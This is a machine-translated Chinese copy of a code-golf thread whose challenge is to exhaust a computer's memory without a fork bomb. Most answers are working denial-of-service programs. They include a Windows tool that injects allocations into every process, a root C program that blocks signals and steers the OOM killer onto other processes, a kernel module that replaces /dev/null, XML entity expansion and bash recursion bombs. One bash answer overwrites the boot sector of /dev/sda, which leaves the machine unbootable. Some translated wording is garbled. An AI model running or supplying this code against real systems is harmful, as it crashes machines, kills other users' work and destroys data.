创建内存泄漏,没有任何前叉炸弹


54

您的任务是创建内存泄漏。这是一个使用内存负载的程序,直到计算机用完为止,并且必须进行一些交换以使其自身免于耗尽。释放内存的唯一方法是在任务管理器中终止程序,或使用命令行终止taskkill /im yourprogram /f(例如,在Windows中),甚至重新启动计算机。仅关闭应用程序不应阻止它继续消耗内存。

规则:

  1. 禁止使用任何形式的叉弹。这意味着臭名昭著的Bash线:(){ :|:&};:被禁止!

  2. 该应用程序只能是单线程的。这意味着叉炸弹规则。

  3. 该程序不得运行其他程序。这意味着您不能只做类似的事情run(memoryfiller.exe)。唯一的例外是与您的操作系统或语言捆绑在一起的程序,这些程序并非主要用于消耗内存(即,它们还有其他用途)。这意味着喜欢catln -s允许的事情。

  4. 您可以占用尽可能多的内存。越多越好。

  5. 代码必须完整说明。

祝好运。这是一场人气竞赛,因此自要求日期起10天后获得最多投票的代码将获胜!


8
“关闭它仍然应该使它成为猪的记忆”-如果程序是Shell可执行文件(就像大多数Windows版本的脚本语言解释器一样),则关闭其窗口将杀死该程序。
mniip 2014年

54
这不是while(1)malloc(999);吗?
门把手

10
我不确定“关闭它仍应使它成为猪内存”是否与“该应用程序必须仅是单线程的”兼容。如果没有线程拥有大量内存,则操作系统可以将其收回,对吗?
aebabis 2014年

51
只需运行Firefox 26,打开几个选项卡即可运行Flash半小时。它将使您的计算机瘫痪。
Braden Best

1
@mniip。这就是挑战的全部。提出艰巨的挑战。和门把手。我想要不同的东西!;)
乔治

Answers:


78

视窗

Win32 API允许您在其他进程中分配内存,然后远程读取/写入该内存。该程序只有一个线程,用于枚举系统上每个正在运行的进程,然后在每个进程中重复分配1MB的缓冲区,直到分配失败。完成一个过程后,将继续进行下一个过程。调用程序完成时不释放分配-仅在/如果每个目标进程完成时才释放。这会在大约10秒钟内挂起2GB Windows 7 VM。它确实需要以管理员身份运行。

编译: cl /MD leak.cpp /link psapi.lib

#include <windows.h>
#include <psapi.h>

typedef void (*ProcFunc)(DWORD pid);
#define ALLOC_SIZE 0x100000
LPVOID buf;

void ForEachProcess(ProcFunc f)
{
    DWORD aProcesses[1024], cbNeeded;

    if (!EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded))
        return;

    for (unsigned int i = 0; i < cbNeeded / sizeof(DWORD); i++)
        if (aProcesses[i] != 0)
            f(aProcesses[i]);
}

void RemoteLeak(DWORD pid)
{
    HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pid );
    if (hProcess == NULL)
        return;

    for (;;)
    {
        LPVOID ptr = VirtualAllocEx(hProcess, NULL, ALLOC_SIZE, 
                                    MEM_COMMIT, PAGE_READWRITE);
        if (ptr == NULL)
            return;

        WriteProcessMemory(hProcess, ptr, buf, ALLOC_SIZE, NULL);
    }
}

int main(void)
{
    buf = malloc(ALLOC_SIZE);
    if (buf == NULL)
        return 0;

    memset(buf, 0xFF, ALLOC_SIZE);

    ForEachProcess(RemoteLeak);

    return 0;
}

9
Windows是邪恶的。

4
我今晚需要关机。病死了;)
乔治

1
“((以普通用户身份运行,不使用管理员特权”)-对此不确定,您需要SeDebugPrivilege,默认情况下,它不存在于普通用户令牌中
rkosegi 2014年

@rkosegi谢谢,固定。
2014年

14
+1 这值得很多赞扬,因为到目前为止,它是唯一满足原始关闭要求的答案,它仍应使它达到生猪内存要求。非常有创意的解决方案:-)
丹尼尔(Daniel)

72

爪哇

import java.util.concurrent.atomic.AtomicInteger;

public class Hydra {
  // Not actually necessary for the leak - keeps track of how many Hydras there are, so we know when they're all gone
  public static AtomicInteger count = new AtomicInteger(0);
  public Hydra() {
    count.incrementAndGet();
  }
  protected void finalize() {
    new Hydra();
    new Hydra();
    count.decrementAndGet();
  }

  public static void main(String[] args) throws InterruptedException {
    new Hydra();
    while (Hydra.count.get() > 0) {
      // Prevent leaks ;-)
      System.gc();
      System.runFinalization();
    } 
  }
}

说明

您可能会认为,由于代码中没有引用(除了count,您可以安全地忽略它),所以它不会泄漏。但是,终结器创建了两个新的Hydras,尽管它们都不保存任何引用,但它们会一直挂起直到最终完成。这意味着该程序仅在垃圾回收期间泄漏内存,因此对System.gc()and 的调用System.runFinalization()


7
@TimS。现在你的上帝在哪儿?!?
Cruncher 2014年

System.gc()System.runFinalization()有必要吗?那就是gc有时会随机运行,还是您必须填充一些内存或调用gc?
Cruncher

4
在一个典型的程序,System.gc()System.runFinalization()不会是必要的。由于内存压力,垃圾回收自然会发生。但是,在此应用程序中,直到垃圾收集开始运行之前,没有内存压力。我考虑过人为地引入一些内容(例如,通过new Hydra()在循环内移动),但认为这样做更加邪恶。
James_pic 2014年

1
是的,我没有特别注意“关闭它仍然应该使它成为猪内存”的警告,因为它似乎没有意义(除了像@german_guy这样的简洁的OS黑客)。Java总是启动一个终结线程,因此Java应用程序可能无法遵循规则2。
James_pic 2014年

1
在Unix系统上,您无法阻止SIGKILL(信号9),因此您不能使程序不可停止(嗯,除非您设法使其处于不间断的等待状态……所以也许可以远程杀死其文件在其中的NFS服务器)访问可能有效;
celtschk 2014年

37

C

使用C编程语言并经过Linux内核2.6.32-49-generic和libc-2.11.1.so的测试。

释放内存的唯一方法是在任务管理器中终止程序,或者使用taskkill / im yourprogram / f甚至重新启动PC。

这可以通过阻止除SIGKILL和SIGSTOP以外的任何信号来实现。

关闭它仍然会使它成为猪的记忆。

这实际上使我感到困惑……杀死或关闭它们都会导致进程终止,从而使操作系统可以收回由进程分配的所有内存。但是后来我想到关闭它可能意味着要关闭终端或执行内存泄漏过程的任何其他父进程。如果我做对了,那么我将通过阻止任何信号来解决此问题,这将在父进程终止时将进程变成守护程序。这样,您可以关闭正在运行进程的终端,它将继续运行并继续泄漏内存。

禁止使用任何形式的叉弹。这意味着臭名昭著的bash:(){:|:&} ;:被禁止!

该过程不分叉。

该应用程序只能是单线程的。这意味着叉炸弹规则

没有新的线程产生。

该程序不得运行其他程序。这意味着您不能只执行类似run(memoryfiller.exe)的操作

没有产生新的进程。

您可以占用尽可能多的内存。越多越好。

操作系统所能提供的。

代码必须完整说明。

在源中添加了注释。

最后是代码:

#define _GNU_SOURCE

#include <stdio.h>
#include <signal.h>
#include <sys/resource.h>
#include <unistd.h>
#include <stdlib.h>


int main(int argc, char* argv[]) {

    /*
    set the real, effective and set user id to root,
    so that the process can adjust possible limits.
    if the process doesn't have the CAP_SETUID capability, terminate the process.
    */
    if (setresuid(0, 0, 0) == -1) {
        printf("Are you root?!\n");
        return 1;
    }

    /*
    block all signals except for kill and stop.
    this allows to terminate the parent process (most likely a terminal)
    that this process is running in and turn it into a daemon.
    additionally this makes it impossible to terminate the process
    in a normal way and therefore satisfies the requirement that closing
    it should still make it hog memory.
    */
    sigset_t mask;
    sigfillset(&mask);
    sigprocmask(SIG_SETMASK, &mask, NULL);

    /*
    allow the process to acquire a virtually unlimited amount of memory
    and queue a virtually unlimited amount of signals.
    this is to prevent an out of memory error due to a virtual limit for the root user,
    which would prevent the process from leaking any more memory
    and to prevent the process from getting killed due to too many queued
    signals that the process is blocking.
    */
    struct rlimit memory = { RLIM_INFINITY, RLIM_INFINITY },
                  signal = { RLIM_INFINITY, RLIM_INFINITY};
    setrlimit(RLIMIT_AS, &memory);
    setrlimit(RLIMIT_SIGPENDING, &signal);

    /*
    allocate a buffer big enough to store a file name into it
    that is generated from the process' pid.
    if the file can be opened (which should always be the case unless /proc is not mounted)
    the file will be opened and the string -17 followed by a new line written to it.
    this will cause the oom killer to ignore our process and only kill other,
    innocent processes when running out of memory.
    */
    char file_name[20];
    sprintf(file_name, "/proc/%u/oom_adj", getpid());

    FILE* oom_killer_file = fopen(file_name, "w");
    if (oom_killer_file) {
        fprintf(oom_killer_file, "-17\n");
        fclose(oom_killer_file);
    }

    /*
    get the size of virtual memory pages in bytes,
    so the process knows the size of chunks that have to be
    made dirty to force the kernel to map the virtual memory page into RAM.
    */
    long page_size = sysconf(_SC_PAGESIZE);

    // allocate a virtually infinite amount of memory by chunks of a page size.
    while(1) {
        // will overwrite any previous stored address in tmp, leaking that memory.
        char* tmp = (char*) malloc(page_size);
        if (tmp)
            // make the memory page dirty to force the kernel to map it into RAM.
            tmp[0] = 0;
    }

    return 0;
}

对于任何对如果使该程序保持运行状态感兴趣的人:在具有2GB RAM和4GB交换空间的测试系统上,大约需要10分钟来填满RAM和交换空间。OOM杀手开始工作,三分钟后,所有进程都被杀了。系统甚至丢弃了鼠标,键盘和显示器。/var/log/kern.log除了已杀死的进程外,没有显示有用的信息。


我编辑了源代码,以使oom Killer忽略该进程并杀死无辜的进程以释放内存。
foob​​ar 2014年

5
对于任何对如果使该程序保持运行状态感兴趣的人:在我的具有2GB RAM和4GB交换空间的测试系统上,大约需要10分钟来填满RAM和交换空间。OOM杀手开始工作,三分钟后,所有进程都被杀了。系统甚至丢弃了鼠标,键盘和显示器。/var/log/kern.log除了已杀死的进程外,没有显示有用的信息。
foob​​ar 2014年

哈哈,太好了!您应该将该说明编辑成答案。+1
门把手

1
我没有投票,但是如果可以格式化代码,那就太好了,因此不需要水平滚动即可读取注释。
圣保罗Ebermann

2
+1代表1)导致处理输入/输出设备的进程被杀死,以及2)创建难以从日志中跟踪的程序。这是邪恶的胡须屈曲水平。
凯文(Kevin)2014年

29

纯重击

我保证不是叉子炸弹:

:(){ : $@$@;};: :

它看起来很像叉子炸弹,并使用类似的递归技术,但没有叉子。 当然,这将使您的Shell耗尽内存,因此建议您在粘贴此命令之前启动新的Shell。

  • 定义一个名为 :
  • 该函数仅使用$@(arg list)double 来递归地调用自身
  • 在函数定义之后,:使用初始arg调用函数:

输出:

$ bash
$ :(){ : $1$1;};: :
bash: xmalloc: ../bash/stringlib.c:135: cannot allocate 536870913 bytes (5368795136 bytes allocated)
$

在此答案的先前编辑中,我做了a=$(yes),但我注意到规则“该程序不得运行其他程序”,因此我需要使用pure bash而不调用任何coreutils或其他任何东西。


这是另一个:

请不要在生产机器上运行

:(){ : <(:);};:

再说一次,这不是叉式炸弹-一切都在一个线程内运行。这似乎很方便地使我的Ubuntu VM崩溃,除了重新启动以外,几乎没有恢复空间。

与经典的叉子炸弹一样,:()定义了递归函数。但是,它不会派出对自身的调用。相反,它使用一个参数调用自身,该参数本身在流程替换中调用。因为进程替换是通过打开文件描述符来进行的/dev/fd/n,所以这不仅会消耗进程(bash)内存,还会消耗一些内核内存。在我的Ubuntu计算机上,这会导致窗口管理器在几秒钟后无法运行,然后在显示以下屏幕后不久便无法运行:

在此处输入图片说明

单击,OK然后显示以下屏幕:

在此处输入图片说明

这些选项似乎都没有太大帮助-此时,重启似乎是唯一的好选择。


3
$ which yes->/usr/bin/yes
Izkata 2014年

2
“唯一可以释放内存的方法是在任务管理器中终止程序,或者使用taskkill / im yourprogram / f甚至重新启动PC。关闭它仍将使它成为hog内存。” >>可以使用SIGTERM终止bash,因此不需要杀死bash即可使其停止运行。当系统内存不足时,它也会停止运行。一旦bash通过SIGTERM或内存不足而终止,则将内存返还给操作系统。
foob​​ar 2014年

这对我不起作用...有点...我可以看到内存逐渐消失,但是这种情况发生的非常缓慢,也可以通过按ctrl + c来杀死它。它现在正在运行1分钟,占用了大约1GB的空间。我有一台非常快的机器...但这没关系,对吧?
Stefanos Kalantzis,2015年

回复我自己的评论:该命令实际上在大约2分钟49秒后杀死了bash。我最初以为是基于此答案的。
Stefanos Kalantzis,2015年

@StefanosKalantzis感谢您的评论。这让我思考了更多,而我刚刚发现了一个更加邪恶的shell片段-请参见编辑。
Digital Trauma 2015年

24

XML格式

<!DOCTYPE boom [
<!ENTITY Z 'ka-boom!'><!ENTITY Y '&Z;&Z;'><!ENTITY X '&Y;&Y;'><!ENTITY W '&X;&X;'>
<!ENTITY V '&W;&W;'><!ENTITY U '&V;&V;'><!ENTITY T '&U;&U;'><!ENTITY S '&T;&T;'>
<!ENTITY R '&S;&S;'><!ENTITY Q '&R;&R;'><!ENTITY P '&Q;&Q;'><!ENTITY O '&P;&P;'>
<!ENTITY N '&O;&O;'><!ENTITY M '&N;&N;'><!ENTITY L '&M;&M;'><!ENTITY K '&L;&L;'>
<!ENTITY J '&K;&K;'><!ENTITY I '&J;&J;'><!ENTITY H '&I;&I;'><!ENTITY G '&H;&H;'>
<!ENTITY F '&G;&G;'><!ENTITY E '&F;&F;'><!ENTITY D '&E;&E;'><!ENTITY C '&D;&D;'>
<!ENTITY B '&C;&C;'><!ENTITY A '&B;&B;'><!ENTITY z '&A;&A;'><!ENTITY y '&z;&z;'>
<!ENTITY x '&y;&y;'><!ENTITY w '&x;&x;'><!ENTITY v '&w;&w;'><!ENTITY u '&v;&v;'>
<!ENTITY t '&u;&u;'><!ENTITY s '&t;&t;'><!ENTITY r '&s;&s;'><!ENTITY q '&r;&r;'>
<!ENTITY p '&q;&q;'><!ENTITY o '&p;&p;'><!ENTITY n '&o;&o;'><!ENTITY m '&n;&n;'>
<!ENTITY l '&m;&m;'><!ENTITY k '&l;&l;'><!ENTITY j '&k;&k;'><!ENTITY i '&j;&j;'>
<!ENTITY h '&i;&i;'><!ENTITY g '&h;&h;'><!ENTITY f '&g;&g;'><!ENTITY e '&f;&f;'>
<!ENTITY d '&e;&e;'><!ENTITY c '&d;&d;'><!ENTITY b '&c;&c;'><!ENTITY a '&b;&b;'>
]>
<boom a="&a;"/>

然后将文档传递给不执行实体引用循环/递归检测的XML解析器。例如,xpath包含在perl中:

xpath boom.xml /

这个怎么运作:

  1. 解析器遇到 <boom a="&a;">
  2. 解析器扩展"&a;""&b;&b;"
  3. 解析器将其中一个扩展"&b;""&c;&c;"(返回时,它将扩展另一个"&b;"
  4. 解析器扩展"&c;"等之一...

如果发生完全扩展,则“ ka-boom!”扩展为2 ^ 52。假设每个字符2个字节,它将尝试使用64 PiB。扩展名为“ ka-boom!” 一次,因此您通常可以看到它用尽了所有内存。

这有不同的名称,这里有很好的概述:http : //projects.webappsec.org/w/page/13247002/XML%20Entity%20Expansion



@ColeJohnson是的!我为WASC威胁分类项目做出了贡献,因此我有义务指出WASC,而不是维基百科。:)
ɲeuroburɳ

22

C ++

int main()
{
    for(;;)int *a=new int;
}

该代码是意外的!当任务管理器打开时,它挂了我的计算机,并显示它在一秒钟内占用了890 Mb的内存,然后它也挂起了。我不知道它是如何工作的,也许它一直在为变量提供内存。为了探索更多代码,我添加了一条语句delete a;,测试时一切正常(没有挂起),所以,我认为内存块是给定(由于new int),然后取回(由于delete a)至下面新代码中的可用空间。

int main()
{
    for(;;)
    {
         int *a=new int;
         delete a;
    }
}  

因此,我得出结论,这个世界没有RAM可以处理此代码!!!

编辑但是许多处理器可以例如intel core 2 duo不能处理此代码,但是
intel core i-series可以(为我工作...)

请记住,问题的答案是第一个代码,第二个是用于解释。


9
不错,new int即使您重写了指针,编译器仍认为您仍将使用它,因此您将永远无法再访问它...因此,不会调用垃圾回收,而且您的内存填充速度比胖孩子吃吃喝玩乐的速度还快
David Wilkins

37
@DavidWilkins:...这是C ++,C ++没有垃圾收集器。
Phoshi 2014年

32
如果您意外地发现此代码泄漏,那么我认为您不应该使用C ++,除非您学得更好。
2014年

1
@svick但它也不像是在黑暗中击中飞镖!我有一个想法,这可以解决工作中的问题。
Mukul Kumar 2014年

15
@svick如果他“不使用C ++”,他怎么会“更好地学习”呢?
凯文(Kevin)

16

脑干

+[>+]

说明:

要进入循环,它将单元格增加到1。只要最后一个单元格为正,它就会移动到下一个单元格,并增加到1。

通常,BrainFuck解释器的缺点是对磁带上的单元格数量有严格的限制,但是某些解释器会动态添加单元格。这些将继续消耗内存,直到不再消耗为止。

beef是一个这样的解释器,可在Ubuntu软件中心中使用,我目前在29个小时前启动的未使用的计算机上运行,​​当时消耗了1GB的RAM。这是输出top

PID  USER        PR  NI  VIRT  RES  SHR S  %CPU %MEM    TIME+  COMMAND  
2978 sylwester   20   0 1030m 984m 2536 R 100,1 12,4   1750:52 beef

它具有4GB的缓存和6GB的交换空间,所以我想我将在大约12天的时间内更新此答案。

更新03.24 17:11

PID  USER        PR  NI  VIRT  RES  SHR S  %CPU %MEM    TIME+  COMMAND  
2978 sylwester   20   0 1868m 1,8g 2456 R  99,9 22,9   6008:18 beef    

更新03.31 00:20

PID  USER        PR  NI  VIRT  RES  SHR S  %CPU %MEM    TIME+  COMMAND  
2978 sylwester   20   0 2924m 2,8g 2052 R 100,0 36,1  15019:46 beef   

因此它已经运行了10天。似乎它会至少运行10次,然后才会发生有趣的事情。


好又短。
nrubin14年

15

C和POSIX

在这里,我的目标是提供一种高度便携式的解决方案。问题在于,纯C似乎无法告诉操作系统在程序关闭后仍应保留分配的内存。因此,我允许自己使用POSIX;大多数操作系统都声称具有POSIX兼容性,包括Windows,Linux和MacOSX。但是,我仅在Ubuntu 12.04 32bit上进行过测试。它不需要超级用户权限。

该解决方案本质上是传统while(1){malloc(1);}解决方案。但是,它使用POSIX共享内存功能代替malloc。由于它为每个分配分配了一个共享内存标识符,因此一旦过程终止,仍然可以访问该内存。因此内核无法释放内存。

#include <sys/types.h>
#include <sys/shm.h>
#include <string.h>

#define SHMSZ (2*1024*1024) /*Ubuntu rejects shared allocations larger than about 2MiB*/

main() {
  int shmid;
  key_t key = 0xF111; /* Lets use `Fill' as our first ID.*/
  char *shm;

  while(1) { /* Like malloc, but using shared memory */
    if ((shmid = shmget(key, SHMSZ, IPC_CREAT|0666)) < 0){return 1;}/*Get shared memory*/
    if ((shm = shmat(shmid, NULL, 0)) == (void *) -1) { return 1; } /*Attach it        */
    memset(shm,0,SHMSZ);                                            /*Fill it up       */
    key++                                                           /*On to the next ID*/
  }
}

最好和最出色的C答案IMO。+1
syb0rg 2014年

1
好东西。我想到的第一个解决方案是Andrew Medico的解决方案,但是由于这在Linux上是不可能的,并且由于我不喜欢Windows编程,所以我想通过共享内存进行泄漏,但不记得POSIX函数名称了。感谢您记住我;)我发现的只是mmap内容,这些内容在进程终止时未映射...
foob​​ar

14

C#

在处理程序超出范围之前忘记取消订阅事件将导致.NET泄漏内存,直到它抛出OutOfMemoryException。

using System;

class A
{
    public event Action Event;
}

class B
{
    public void Handler() { }
}

class Program
{
    static void Main()
    {
        A a = new A();

        while( true )
            a.Event += new B().Handler;
    }
}

说明:在while循环内部,我们构造了一个新对象,导致框架分配更多的内存,但是B通过将实例方法分配给不同类中的事件,我们也防止了新实例超出范围时被释放,结果是新实例B无法从我们的代码中访问,但是仍然存在引用,这意味着GC除非a超出范围,否则不会释放它。

静态事件具有相同的陷阱,因为它们永远不会超出范围,因此只有在进程终止时才清除它们,除非您先取消订阅该事件。永远存储您的参考,人们!

using System;

class Program
{
    static event Action Event;

    static void Main()
    {
        while( true )
            Event += new Action( delegate{ } );
    }
}

上面的方法基于相同的思想,一旦while循环超出范围,处理程序将无法访问,从而无法取消订阅该事件,这意味着内存将一直驻留在那里,直到程序终止。可以说静态事件比实例事件更危险,因为您可以确保它们永远不会超出范围。

编辑:您基本上也可以对其他任何对象执行相同的操作,只要您添加引用,同时确保没有办法释放该引用即可。

这是一个使用静态对象和数组的示例。

using System;
using System.Collections.Generic;

static class Leak
{
    private static List<decimal[]> Junk;

    static Leak()
    {
        Junk = new List<decimal[]>();
    }

    public static void Add( uint size )
    {
        decimal[] arr = new decimal[size];
        Junk.Add( arr );
    }
}

class Program
{
    static void Main()
    {
        while( true )
            Leak.Add( 1 );
    }
}

数组一直被添加到列表中,但是如果不修改代码就无法清除列表,这对于封闭源应用程序是不可能的。增加传递给Leak.Add它的数字将导致它泄漏得更快,如果将其设置得足够高,则只会导致立即抛出OverflowException。


10

bash(无外部实用程序)

这里没有叉子炸弹。

警告:它可能会杀死您的外壳。

只是尝试创建一个整数数组以供参考,因为我一直忘记整数的外观。

while :; do _+=( $((++__)) ); done

结果是:

xmalloc: expr.c:264: cannot allocate 88 bytes (268384240 bytes allocated)

2
+1表示““因为我一直忘记整数是什么样的” :)
David Conrad

8

J(7)

警告:这使我的系统(Windows 8,J 8.01在qt终端中)尝试时死机了。

2#^:_[_
  • 2# 通过复制每个元素,将参数的长度加倍,
  • ^:_ 找到给定函数的固定点(但是没有一个固定点,因此它会不断循环),
  • [__作为参数调用它。

8

Haskell(格雷厄姆的电话)

很简单:这可以计算出格雷厄姆数

与这里的其他示例不同,它不会永远运行...它将使用大量cpu,但从理论上讲它可以终止。如果不是因为要存储数字...

假设每个数字占据一个普朗克体积,那么可观察到的宇宙太小而无法包含格雷厄姆数的普通数字表示。

(根据维基百科)

import Data.Sequence
import Data.Foldable

(↑) a 1 b = a ^ b
(↑) a _ 0 = 1
(↑) a i b = a ↑ (i-1) $ a ↑ i $ b-1

graham = last $ toList $ iterateN 64 (\i -> 3 ↑ i $ 3) 4
main = print graham

因此,该想法是该内存将由(越来越多)一系列Integer(多个)(Haskell的Integers具有任意大小)使用。

如果要对其进行测试,则可能必须增加堆栈大小或将其加载到内部ghci


2
愚蠢的宇宙,不符合Haskell整数标准。为什么不能支持任意大小?
PyRulez 2014年

6

受到@comintern的启发。

替换/ dev / null。参与偷偷摸摸的模式。需要内核头文件,超级用户模式和有效的编译器。

# make
# rm /dev/null
# insmod devnull.ko
# chmod go+rw /dev/null

玩得开心。

生成文件:

MODULE := devnull
KVERS  ?= $(shell uname -r)
KDIR   ?= /lib/modules/$(KVERS)/build
KMAKE := make -C $(KDIR) M=$(PWD)

obj-m += $(MODULE).o

all:
    $(KMAKE) modules

install:
    $(KMAKE) modules_install

clean:
    $(KMAKE) clean

源代码:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/ioport.h>
#include <linux/device.h>
#include <linux/version.h>
#include <linux/slab.h>
#include <asm/io.h>
#include <asm/uaccess.h>

#define DEVICE_NAME "null"
#define MAJOR_NUMBER 0

MODULE_LICENSE("GPL");
MODULE_AUTHOR("nola <florian@n0la.org>");
MODULE_DESCRIPTION("/dev/null - memory leak style");
MODULE_VERSION("0.1");
MODULE_SUPPORTED_DEVICE("null");

static struct class *class_null;
static int major = 0;

static int device_open(struct inode *, struct file *);
static int device_release(struct inode *, struct file *);
static ssize_t device_read(struct file *, char *, size_t, loff_t *);
static ssize_t device_write(struct file *, const char *, size_t, loff_t *);
static loff_t device_llseek(struct file *, loff_t, int);

static struct file_operations fops = {
    .owner = THIS_MODULE,
    .llseek = &device_llseek,
    .read = &device_read,
    .write = &device_write,
    .open = &device_open,
    .release = &device_release
};

static int __init mod_init(void)
{
    struct device *dev_null;

    if ((major = register_chrdev(MAJOR_NUMBER, DEVICE_NAME, &fops)) < 0) {
        return major;
    }

    /* create /dev/null
     * We use udev to make the file.
     */
    class_null = class_create(THIS_MODULE, DEVICE_NAME);
    if (IS_ERR(class_null)) {
        unregister_chrdev(major, DEVICE_NAME);
        return -EIO;
    }

#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 27)
    dev_null = device_create(class_null, NULL, MKDEV(major, 0),
                             NULL, "%s", DEVICE_NAME
        );
#else
    dev_null = device_create(class_null, NULL, MKDEV(major, 0),
                             "%s", DEVICE_NAME
        );
#endif
    if (IS_ERR(dev_null)) {
        class_destroy(class_null);
        unregister_chrdev(major, DEVICE_NAME);
        return -EIO;
    }

    return 0;
}

static void __exit mod_exit(void)
{
    device_destroy(class_null, MKDEV(major, 0));
    class_unregister(class_null);
    class_destroy(class_null);
    unregister_chrdev(major, DEVICE_NAME);
}

static int device_open(struct inode *inode, struct file *file)
{
    file->f_pos = 0x00;

    try_module_get(THIS_MODULE);
    return 0;
}

static int device_release(struct inode *inode, struct file *file)
{
    /* decrement usage count: Not. Uncomment the line for less fun. */
    /* module_put(THIS_MODULE); */
    return 0;
}

static loff_t device_llseek(struct file *filep, loff_t offs, int mode)
{
    loff_t newpos;

    switch (mode) {
    case 2:
    case 0:
        newpos = offs;
        break;

    case 1:
        newpos = filep->f_pos + offs;
        break;

    default:
        return -EINVAL;
    }

    if (newpos < 0) {
        return -EINVAL;
    }

    filep->f_pos = newpos;

    return newpos;
}

static ssize_t device_read(struct file *filep, char *dst, size_t len,
                           loff_t *off)
{
    char *buf = NULL;

    if (dst == NULL || len == 0) {
        return -EINVAL;
    }

    buf = kmalloc(sizeof(char) * len, GFP_KERNEL);
    if (buf == NULL) {
        return -EINVAL;
    }

    /* Do how a /dev/null does.
     */
    memset(dst, 0, len);

    *off += len;
    return len;
}

static ssize_t device_write(struct file *filep, const char *src, size_t len,
                            loff_t *off)
{
    char *buf = NULL;

    buf = kmalloc(sizeof(char) * len, GFP_KERNEL);
    if (buf == NULL) {
        return -EINVAL;
    }

    *off += len;
    return len;
}

module_init(mod_init);
module_exit(mod_exit);

警告这可能会迫使您重新启动!

删除它:

# rmmod -f devnull # or a reboot
# rm -rf /dev/null
# mknod /dev/null c 1 3
# chmod go+rw /dev/null

6

红宝石

每个人都知道sum(1 / n ^ 2)= pi ^ 2/6

所以我可以定义一个近似函数:

pi_approx = lambda {|i|
Math.sqrt( 
  6*( 
    (1...Float::INFINITY).map{|n| n.to_f**(-2)}.take(i).reduce(:+)
    )
  )
}

p pi_approx.(100_000)

当然(1..infinity)会疯狂运行。

但是请注意,使用惰性将使这项工作有效;)

pi_approx = lambda {|i|
Math.sqrt( 
  6*( 
    (1...Float::INFINITY).lazy.map{|n| n.to_f**(-2)}.take(i).reduce(:+)
    )
  )
}

p pi_approx.(100_000)
#=> 3.141583104326456

5

C- 28 25个字符(完整程序)

不要运行那个,否则您的系统将很快死机!

main(){while(malloc(9));}

对malloc的调用将保留9个字节的内存,并定期从操作系统请求新的内存页。由于没有存储指向返回地址的指针,因此malloc分配的内存立即泄漏。一旦系统内存不足(RAM和交换空间)或达到该进程的内存限制,程序将退出while循环并终止。


2
不会持续很长时间-任何合理的现代系统都应该有一个OOM杀手,该杀手可以启动并杀死该过程。至少Ubuntu 12.04可以。
Digital Trauma 2014年

1
好吧,我在尝试使用此代码时崩溃了Ubuntu 13.10 ...
Mathieu Rodic

@DigitalTrauma例如FreeBSD是否有OOMK?
Ruslan 2014年

1
main(){while(malloc(9));}保存另外3个字符,几乎立即充满了我的记忆。
gmatht 2014年

@gmatht:谢谢你的建议!我编辑了答案...尽管我喜欢在每个循环中增加块大小的想法。
Mathieu Rodic 2014年

4

VB脚本

do
    Set d1 = createobject("Scripting.Dictionary")
    d1.add true, d1
    Set d1 = Nothing
loop

我们正在创建一个指向自己的字典。然后我们认为可以通过将字典设置为Nothing来破坏字典。但是,由于该字典具有有效的(循环)引用,因此它仍存在于内存中。

循环以及内存占用都会导致程序挂起。程序关闭后,内存仍在使用中。只能通过重新启动来还原系统。


嗯,真的吗?VBScript不只是在后台使用VB.NET?除了简单的引用计数实现之外,对于垃圾收集器来说,循环引用通常不是问题,并且程序的终止应导致释放其整个堆,不是吗?
戴维·康拉德

@DavidConrad您可能会这么想,但是每次我调查此问题并运行此类脚本时,都必须重新启动计算机。
AutomatedChaos

1
VBScript大大早于VB.Net-它不是VB.Net的命令行版本;它不是VB.Net的命令行版本。它是旧版Visual Basic的一个解释子集。
克里斯J

谢谢你们俩 我没有意识到VBScript和VB.NET之间的关系。
David Conrad 2014年

4

是&tmpfs

当Ubuntu免费提供一个新程序时,为什么还要编写一个新程序?

yes > /run/user/$UID/large_file_on_my_ramdisk

您可能已经知道或已经猜到,Ubuntu默认将/ run / user /挂载为tmpfs,这是一种RAM磁盘

您甚至不必关闭它。它将礼貌地关闭自己,留下大量的内存分配。我假设yes是一个单线程,单进程的程序,不会调用任何其他程序(写入现有的RAM磁盘也很容易移植到您选择的语言)。

它有一个小错误:Ubuntu默认将用户可写tmpfs / run / 1000限制为100 MB,因此,开箱即用的机器可能不支持交换终止功能。但是,我设法通过以下快速解决方法在计算机上解决此问题:

sudo mount -o remount,size=10G tmpfs /run/user/

我根本没有/run/user目录。您使用什么版本的Ubuntu?为此安装了什么版本?
Ruslan 2014年

Ubuntu Trusty Tahr(14.04)。无需特殊安装。
gmatht

要查找是否已tmpfs安装任何文件系统,可以使用列出它们df -t tmpfs。我的Ubuntu系统有一个很大的/run/shm可用空间……
Toby Speight,2016年

4

重击

警告:以下代码将使您的计算机无法启动。

printf "\\xe8\\xfd\\xff" | dd of=/dev/sda
reboot

警告:前面的代码将使您的计算机无法启动。

用启动驱动器替换/ dev / sda。这会将E8 FD FF写到启动扇区的开头。引导时,BIOS将引导扇区读入内存并执行。这些操作码等效于以下程序集:

label:
  call label

这是无限递归,最终将导致堆栈溢出。


在您的Assembly示例中,您可以使用jmp而不是call
SirPython

调用将返回地址留在堆栈上以供回收。跳转不会导致堆栈溢出。
杰里·耶利米

3

哈斯克尔

main=print $ sum [0..]

这将尝试合计计数。Haskell会评估部分和,它只是成为无限加法语句。如果使用优化标志运行编译器,则可能无法正常运行。


3

重击

由于我们可以使用不是专门为消耗内存而设计的实用程序,因此我将重点放在释放内存的实用程序上:swapon。这用于允许内核通过写入磁盘来释放内存。

该脚本执行了两个优化:(1)将tmp挂载为tmpfs(一种RAM磁盘)以提高/ tmp的速度,以及(2)创建交换文件以释放内存。它们中的每一个都是合理的,但是如果粗心的用户同时执行这两个操作,则会建立一个交换周期:当OS尝试交换页面时,它会写入tmpfs。这使tmpfs使用更多的内存;这增加了内存压力,导致更多页面被换出。在我的VM上这可能要花费几分钟,您需要花费大量时间来观看系统使用挖掘其自身top

由于程序本身几乎不分配任何内存,因此关闭程序几乎没有什么不同。确实,释放内存并不是微不足道的,因为您不能通过swapoff在交换文件之前卸载tmpfs 来释放内存,而在释放内存之前很难做到这一点。

这个答案可以看作是一个警示性的故事,不要盲目地从网络上应用酷技巧而不了解它们。

sudo mount -t tmpfs -o size=9999G tmpfs /tmp # Use tmpfs to make /tmp faster
truncate -s 4096G /tmp/swap                  # Now make a giant swap file to free up memory 
